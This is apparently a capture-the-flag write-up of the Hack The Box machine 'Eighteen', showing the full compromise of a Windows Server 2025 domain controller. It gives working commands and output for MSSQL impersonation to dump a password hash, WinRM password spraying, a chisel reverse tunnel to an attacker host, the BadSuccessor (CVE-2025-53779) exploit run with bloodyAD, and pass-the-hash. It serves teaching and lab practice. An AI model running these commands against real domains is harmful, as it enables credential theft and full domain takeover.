root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat eighteen.md
// writeups

Eighteen

15 Nov 2025 · 18 min read
Eighteen - maquina de Hack The Box

Executive summary — Eighteen is a Windows Server 2025 domain controller (DC01.eighteen.htb) solved by chaining credential reuse with a cutting-edge Active Directory flaw. Starting from an assumed breach foothold, kevin's domain password turns out to also be his MSSQL login; from there we abuse SQL permissions (IMPERSONATE + DML) to dump the web app's admin hash, verify it offline, spray it against domain accounts and land adam.scott. The final escalation exploits BadSuccessor (CVE-2025-53779) against a dMSA to steal the Administrator NTLM hash. Path: MSSQL → web creds → WinRM → BadSuccessor → Root.

PlatformHack The Box
Operating systemWindows
DifficultyEasy
StatusRetired
Target IP10.129.33.24

Attack map

[80/HTTP]  Financial Planner (Flask behind IIS)
   │  probes negative; a pyodbc error leaks the MSSQL backend
   ▼
[1433/MSSQL]  kevin = SQL login (reused domain password)
   │  IMPERSONATE appdev → DML over financial_planner → dump the admin hash
   ▼
[creds]  Werkzeug hash verified offline → iloveyou1
   │  password spraying over WinRM
   ▼
[WinRM]  adam.scott:iloveyou1 (Pwn3d!) → user.txt · member of IT
   │  IT has CreateChild over OU=Staff (Windows 2025 domain)
   ▼
[BadSuccessor / CVE-2025-53779]  chisel SOCKS pivot + bloodyAD --prepatch
   │  the dMSA TGT reveals the Administrator NTLM hash
   ▼
[ROOT]  pass-the-hash as Administrator → root.txt

1. Reconnaissance

We start by mapping the attack surface with a full TCP port scan. There's an important speed nuance here:

nmap -p- --min-rate 500 -Pn -n -T3 --max-retries 3 10.129.33.24

Why slow it down: a first scan with --min-rate 3000 produced a false negative on 1433 due to overly aggressive rate-limiting. When the result looks suspiciously thin on a Windows/AD box, it's worth re-scanning slower with more retries before writing off services.

Open ports:

80/tcp    open  http      Microsoft IIS 10.0  (reverse proxy → Flask app "Financial Planner", eighteen.htb)
1433/tcp  open  ms-sql-s  Microsoft SQL Server 2022 RTM (16.0.1000)
5985/tcp  open  wsman     WinRM — host DC01, domain eighteen.htb, Windows Server 2025

Everything else (Kerberos 88, LDAP 389/636/3268, SMB 445, RDP 3389) is firewalled from the outside. DNS over UDP (53) does answer and confirms the SRV records _kerberos._tcp / _ldap._tcp → dc01.eighteen.htb.

2. Initial access and WinRM check

The challenge provides starting credentials (assumed breach scenario):

kevin : iNa2we6haRj2gaw!

First thing to try is WinRM (5985), the only exposed Windows authentication service:

netexec winrm 10.129.33.24 -u kevin -p 'iNa2we6haRj2gaw!' -d eighteen.htb

It fails — but not because of the password: the server always returns 401, with the right password, a wrong one, or a non-existent user alike. We double-checked with pywinrm, completing the full NTLM handshake by hand (Type1/Type2/Type3) — the response stayed 401 regardless. That identical behaviour betrays a policy that blocks NTLM (Kerberos-only), not a credential problem. Kerberos (88) is unreachable from outside too: confirmed with a 90-second raw TCP connection attempt and a hand-crafted AS-REQ over UDP, both with no response. Tip: to tell a credential rejection apart from a policy one, compare the result against a clearly non-existent user with the same password — if timing and message are identical, it's almost always a policy restriction.

3. Web enumeration — Financial Planner

Port 80 serves, behind IIS, a Flask app called «Financial Planner». We discover its routes:

/  /features  /login  /register  /dashboard  /admin  /logout
/update_income  /add_expense  /update_allocation  /delete_expense/<id>

We thoroughly test the usual web catalogue against the full_name, username, email and category fields, all negative: manual SQLi and sqlmap — including --randomize, to dodge the noise from /register's unique-constraint — confirm the queries are consistently parameterised (quotes are preserved literally without breaking SQL syntax); XSS/SSTI shows Jinja2 autoescape on everywhere, even with {{7*7}} and a raw <script> tag in email (which, interestingly, doesn't validate email format at all); mass assignment of is_admin/role is ignored; and IDOR on delete_expense is confirmed but low impact.

Useful finding: registering a duplicate username/email makes the app leak the raw pyodbc error (unsanitised exception). That confirms two things: the backend is MSSQL, and an admin user already exists in the users table of the financial_planner database. The web isn't the way in, but it pointed us at 1433.

4. The real pivot: direct MSSQL (1433)

The key: kevin is not a domain account for MSSQL but a native SQL Login (SQL Authentication). His domain password was reused as that SQL login's password. We connect as a pure login:

impacket-mssqlclient 'kevin:iNa2we6haRj2gaw!@10.129.33.24'

Watch out for -windows-auth: trying to connect with eighteen.htb/kevin:... and Windows auth fails with «login is from an untrusted domain». You must connect as a SQL login, not a domain account.

kevin is not sysadmin, but he has GRANT IMPERSONATE over the appdev login, and appdev has full DML (SELECT/INSERT/UPDATE/DELETE) over financial_planner — including the users table, which stores password hashes in Werkzeug format:

EXECUTE AS LOGIN = 'appdev';
SELECT username, password_hash FROM financial_planner.dbo.users WHERE username = 'admin';
admin  pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133

Permission chain: password reuse (domain → SQL login) + IMPERSONATE + DML over a table with hashes = reading the app's authentication material. An alternative demonstrated without knowing the real password is to overwrite the hash with UPDATE users SET password_hash='<your hash>' WHERE username='admin' and log into the web panel with a password of your choice.

5. Hash verification and password spraying

The Werkzeug hash (pbkdf2:sha256, 600,000 iterations) is slow to brute-force, but a data point from a reference writeup suggests the admin seed is shared across box instances. We verify it offline:

python3 -c "from werkzeug.security import check_password_hash; print(check_password_hash('pbkdf2:sha256:600000\$AMtzteQIG7yAbZIa\$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133', 'iloveyou1'))"
True

Password confirmed: iloveyou1. Since there's no SMB/LDAP to enumerate users, we build a short candidate list (name.surname) and spray it over WinRM:

netexec winrm 10.129.33.24 -u userlist.txt -p iloveyou1 -d eighteen.htb --continue-on-success
WINRM  [+] eighteen.htb\adam.scott:iloveyou1 (Pwn3d!)

The web admin's password is reused on a real domain account too! Reuse across layers (app → AD) is what collapses silos that looked independent.

We get a shell and read the user flag:

evil-winrm -i 10.129.33.24 -u adam.scott -p 'iloveyou1'
*Evil-WinRM* PS C:\Users\adam.scott\Documents> whoami
eighteen\adam.scott

*Evil-WinRM* PS C:\Users\adam.scott\Documents> whoami /groups
...
EIGHTEEN\IT   Group   S-1-5-21-1152179935-589108180-1989892463-1604   ...

*Evil-WinRM* PS C:\Users\adam.scott\Documents> type C:\Users\adam.scott\Desktop\user.txt
2313373a0f3337758df37fe3ac4e8928

Key detail for the escalation: adam.scott belongs to the EIGHTEEN\IT group (CN=IT,OU=Staff,DC=eighteen,DC=htb).

6. Escalation — BadSuccessor (CVE-2025-53779)

What is BadSuccessor? Windows Server 2025 introduces dMSAs (delegated Managed Service Accounts), an evolution of gMSAs meant to migrate service accounts automatically. The msDS-ManagedAccountPrecededByLink attribute means «this account succeeds/inherits from account X». The flaw is that the KDC trusts that link without verifying the migration was authorised by whoever controls the target account: it's enough to be able to create the dMSA object (CreateChild on an OU, with no permission at all over the target account) so that, when requesting a TGT for that dMSA, the KDC includes the «predecessor» account's privileges in the PAC — which can be literally Administrator.

Checking the requirements — dMSAs only exist at the 2025 functional level:

PS> Get-ADDomain | Select Name, DomainMode
Name       DomainMode
eighteen   Windows2025Domain

PS> Get-ADForest | Select Name, ForestMode
Name           ForestMode
eighteen.htb   Windows2025Forest

Checking the CreateChild permission: we upload a PowerShell script (equivalent to Akamai's Get-BadSuccessorOUPermissions.ps1) that reviews every OU's ACLs and look for who can create objects:

=== OU=Staff,DC=eighteen,DC=htb ===
NT AUTHORITY\SYSTEM        | GenericAll   | ObjectType=00000000-... | Inherited=False
EIGHTEEN\Domain Admins     | GenericAll   | ObjectType=00000000-... | Inherited=False
EIGHTEEN\IT                | CreateChild  | ObjectType=00000000-0000-0000-0000-000000000000 | Inherited=False
EIGHTEEN\Enterprise Admins | GenericAll   | ObjectType=00000000-... | Inherited=True

EIGHTEEN\IT has CreateChild with no type restriction (ObjectType all-zeros = «any object») over OU=Staff. That's the exact, sufficient condition for BadSuccessor. Since adam.scott is in IT, he can create a dMSA there.

Cross-check with netexec's official module (detection only, no exploitation):

netexec ldap 10.129.33.24 -u adam.scott -p 'iloveyou1' -d eighteen.htb -M badsuccessor
BADSUCCE...  [+] Found 1 results
BADSUCCE...  IT (S-1-5-21-1152179935-589108180-1989892463-1604), OU=Staff,DC=eighteen,DC=htb

7. Pivoting with chisel

To exploit BadSuccessor we need LDAP/Kerberos/SMB, but they're still firewalled from outside (though now reachable inside the DC's network). We set up a reverse SOCKS tunnel with chisel through the WinRM session we already have.

Server on Kali (version 1.7.7 to avoid negotiation issues with 1.11.6):

chisel177 server -p 8080 --reverse

We upload the binary to the DC and launch the client from the evil-winrm session:

upload chisel.exe
Start-Process -FilePath "C:\Users\adam.scott\Documents\chisel.exe" -ArgumentList "client <ATTACKER_IP>:8080 R:socks" -WindowStyle Hidden
Start-Sleep -Seconds 600

Why the Start-Sleep: a process launched with Start-Process from PSRemoting dies if the session closes. You must keep the WinRM session alive while the tunnel is in use (hence leaving it «sleeping» in the background). And you must match chisel client/server versions to avoid silent negotiation failures.

We point proxychains at the local SOCKS port the server opens:

[ProxyList]
socks5 127.0.0.1 1080

8. Exploitation with bloodyAD

With the tunnel up, we exploit BadSuccessor by creating a dMSA that succeeds Administrator:

proxychains bloodyAD -d eighteen.htb -u adam.scott -p 'iloveyou1' --host 10.129.33.24 \
  add badSuccessor evilDMSA2 --ou "OU=Staff,DC=eighteen,DC=htb" --prepatch

Why --prepatch: without that flag, bloodyAD also tries to write the back-link (msDS-Superseded*) on the Administrator object, which needs permissions we don't have (insufficientAccessRights). With --prepatch it only writes the forward link on the dMSA itself — which is all the vulnerable KDC needs.

bloodyAD creates the evilDMSA2$ object, sets msDS-ManagedAccountPrecededByLink → CN=Administrator and msDS-DelegatedMSAState = 2, automatically requests the dMSA's TGT via the KERB-DMSA-KEY-PACKAGE structure, and prints the keys:

dMSA current keys found in TGS:
  AES256: 5ea8e4fd0ebc33e0ed356c7e111923319db2a85c107087777f8d572adb0bdb43
  AES128: 30a9d1e45ed645956fe44b6b327e53cc
  RC4:    ca1f4c36058cc1bbf4142ec0048242d4
dMSA previous keys found in TGS (including keys of preceding managed accounts):
  RC4:    0b133be956bfaddf9cea56701affddec

The RC4 key in the «previous keys» section is literally the NTLM hash of Administrator: 0b133be956bfaddf9cea56701affddec. The «predecessor» account handed over its keys.

9. Pass-the-hash and root.txt

With the Administrator NTLM hash we pass-the-hash, no cleartext password required:

netexec winrm 10.129.33.24 -u Administrator -H 0b133be956bfaddf9cea56701affddec
evil-winrm -i 10.129.33.24 -u Administrator -H 0b133be956bfaddf9cea56701affddec
WINRM  [+] eighteen.htb\Administrator:0b133be956bfaddf9cea56701affddec (Pwn3d!)

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
eighteen\administrator

*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt
800981e76bc0bad9d1a4dcbfc1195216

Domain fully compromised. 🏴

Cleanup: with the Administrator session we remove the dMSA objects we created (Remove-ADObject ... -Recursive) and the artefacts uploaded to the DC (chisel.exe, the check script, scheduled tasks). Leaving the environment as we found it is part of the job.

Rejected paths

Before landing on the path above, a wide catalogue of alternative routes was tried — and discarded, with evidence. They're worth documenting: they show how much of the surface was actually tested, especially how hard the MSSQL DML access was pushed before confirming the ceiling was there:

Path triedResultWhy discarded
Manual SQLi + sqlmap across the whole web appNegativeConsistently parameterised queries (literal quote preservation verified)
XSS / SSTI in full_name, category, emailNegativeJinja2 autoescape active on every tested point
Mass assignment (is_admin, role)NegativeINSERT/UPDATE columns are fixed in code; extra fields are ignored
Direct WinRM with kevin (SQL login) over NTLMRejectedkevin as a SQL login is a different identity from real domain accounts, and NTLM is policy-restricted anyway
Direct Kerberos (port 88) from outsideBlockedExternal firewall; solved later with a post-exploitation SOCKS pivot instead of forcing external connectivity
Pure MSSQL escalation (xp_cmdshell, CREATE PROCEDURE ... EXECUTE AS OWNER, TRUSTWORTHY chaining, linked servers, OPENROWSET BULK, NTLM capture via xp_dirtree/xp_regread, OLE Automation, BACKUP DATABASE, sp_send_dbmail)All deniedkevin/appdev aren't sysadmin; the real ceiling is pure DML over financial_planner, with no OS-level escalation path this way
Password-spraying sa/appdev with variations of kevin's passwordNegativeIndependent passwords between those logins
Short brute-force of common passwords against admin (web panel)Negative600,000-iteration PBKDF2 hash; the real password isn't in common lists (needed the external iloveyou1 data point)

Vulnerability summary

PhaseComponentVulnerabilityImpact
EnumMSSQL 1433Domain password reused as a SQL loginAuthenticated SQL access as kevin
DBMSSQL (IMPERSONATE + DML)kevin can EXECUTE AS appdev; appdev has full DML over financial_plannerRead the app's Werkzeug hashes
AccessDomain accounts / WinRMPassword reuse (web admin ↔ domain account, iloveyou1)Foothold as adam.scott (user.txt)
PrivEscAD dMSA (Windows Server 2025)BadSuccessor (CVE-2025-53779): CreateChild on an OU allows a dMSA that inherits AdministratorFull domain compromise (Administrator NTLM → root.txt)

Lessons learned

  • Credential reuse: the same password in AD, in a SQL login and in the web app's admin was the thread that tied together seemingly separate silos. Segregate identities and their passwords per layer.
  • Scan with judgement: a high --min-rate can hide services; if the result is suspiciously thin on an AD box, re-scan slower — that's how the 1433 that changed everything showed up.
  • BadSuccessor (CVE-2025-53779): on Windows Server 2025 domains, CreateChild with no type restriction on any OU is enough to reach Domain Admin. Audit who can create objects in your OUs and treat dMSAs as critical material.
  • Credential vs policy rejection: if the 401 is identical for a valid, invalid and non-existent user, suspect a restriction (NTLM disabled), not your password.
  • Pivoting with chisel: keep the session you launched the client from alive, and match client/server versions to avoid silent failures.
  • Storing hashes reachable via DML and granting MSSQL IMPERSONATE are dangerous misconfigurations: they expose the whole application's authentication material.
  • Check prior public writeups of the same machine: a shared «seed» data point (like a reused admin password across box instances) can save an enormous amount of cracking/brute-force time — worth a quick look before grinding.